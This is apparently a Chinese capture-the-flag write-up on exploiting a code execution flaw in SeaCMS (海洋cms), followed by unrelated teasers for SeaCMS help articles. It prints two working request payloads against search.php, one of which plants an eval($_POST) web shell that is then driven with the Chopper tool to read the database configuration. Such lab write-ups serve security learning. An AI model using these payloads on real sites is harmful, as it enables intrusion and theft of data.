海洋cmsi春秋——“百度杯”CTF比赛 九月场——Test(海洋cms / seacms 任意代码执行漏洞)
打开发现是海洋cms,那就搜索相关漏洞 找到一篇介绍海洋cms的命令执行漏洞的文章:https://www.jianshu.com/p/ebf156afda49直接利用其中给出的poc
/search.phpsearchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();可以执行系统命令
没找到flag,考虑可能在数据库中,想上传一句话,然后用菜刀查数据库来着,但是没有写文件的权限,手动查数据库感觉太麻烦,所以换个exp海洋cms v6.28命令执行漏洞 : https://www.uedbox.com/seacms-v628-0day/
/search.php?searchtype=5&tid=&area=eval($_POST@[cmd])菜刀直接连接找了好久终于找到数据库配置文件编辑该条shell配置如下 最后得到flag
更多文章
-
海洋cms模板标签大全(收藏级)
海洋cms以其免费开源、采集功能强大著称,吸引了越来越影视站长。那么在使用海洋cms过程中,模板标签是必须要掌握的。下面是整理的海洋cms模板标签大全,对于做站朋友,一定有用,赶快收藏起来吧!海洋cms模板标签目录00.相关必要说明 01.全局标签 02.自定义标签 03.if标签和嵌套if标签subif(支持php语句、多e
-
海洋cms模板更换及安装教程
很多刚使用海洋cms站长朋友,不知道如何更换模板及安装,下面就详细的图文教程,快来学习! 第一步,从免费海洋cms模板下载网站(http://www.dongliancnc.com),选择喜好的模板并下载,特别说明都是人工测试过的模板,保证使用哦。 第二步,将模板压缩包,上传文件到网站templets目录下
-
海洋cms安装向导数据库连接失败
数据库服务器或登录密码无效, 无法连接数据库,请重新设定! 9_3587_0077ff66291739a.png 解决办法:数据库信息不对,或者mysql没有正确安装
-
海洋cms采集问题
采集相同视频不懂站点的资源,结果每个资源站点新建一条数据,而不是在已有数据内追加,请问这个该如何解决? 同时还想咨询一下,播放来源删除其他无用的播放器失败,多次更新缓存都不行,删除视频数据也是同样的问题 9_408_73bddbef6dd6d69.png
-
海洋cms模板文件读取失败解决方法
海洋cms模板文件读取失败可能是以下两种原因,分享下解决方法 一:请确认你的当前使用的模板目录中是否存在以下三个文件:index.html , head.html ,foot.html (必须)!! 二:请检查你的后台-数据-分类管理-中是否自定义了其他模板文件。如果自定义了模板文件,并且你当前